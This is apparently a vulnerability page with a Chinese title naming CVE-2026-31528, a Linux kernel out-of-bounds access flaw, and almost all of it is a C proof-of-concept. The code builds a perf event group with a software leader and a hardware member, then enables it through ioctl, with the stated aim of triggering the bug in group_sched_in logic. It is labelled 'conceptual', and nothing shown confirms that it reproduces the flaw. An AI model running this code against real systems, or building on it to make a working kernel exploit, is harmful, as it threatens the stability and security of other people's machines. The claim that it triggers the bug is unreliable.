CVE-2026-31528 Linux内核越界访问漏洞

/** * PoC for CVE-2026-31528 (Conceptual) * This attempts to trigger the condition by creating a perf event group * with a software leader and forcing scheduling complexities. * Compile: gcc -o poc_cve2026_31528 poc_cve2026_31528.c */ #include <linux/perf_event.h> #include <sys/syscall.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> static long perf_event_open(struct perf_event_attr *hw_event, pid_t pid, int cpu, int group_fd, unsigned long flags) { return syscall(__NR_perf_event_open, hw_event, pid, cpu, group_fd, flags); } int main() { struct perf_event_attr pe; int fd1, fd2; memset(&pe, 0, sizeof(pe)); // Create a software event as group leader pe.type = PERF_TYPE_SOFTWARE; pe.size = sizeof(pe); pe.config = PERF_COUNT_SW_CPU_CLOCK; pe.disabled = 1; fd1 = perf_event_open(&pe, 0, -1, -1, 0); if (fd1 == -1) { perror("perf_event_open leader"); exit(EXIT_FAILURE); } // Attempt to add a member to the group to trigger group_sched_in logic pe.type = PERF_TYPE_HARDWARE; pe.config = PERF_COUNT_HW_INSTRUCTIONS; // Intentionally setup that might trigger complex scheduling/inheritance fd2 = perf_event_open(&pe, 0, -1, fd1, 0); if (fd2 == -1) { fprintf(stderr, "Expected failure or error in member creation: %s\n", strerror(errno)); } else { printf("Events opened. Attempting to enable (IOCTL).\n"); ioctl(fd1, PERF_EVENT_IOC_ENABLE, 0); } close(fd1); if (fd2 != -1) close(fd2); return 0; }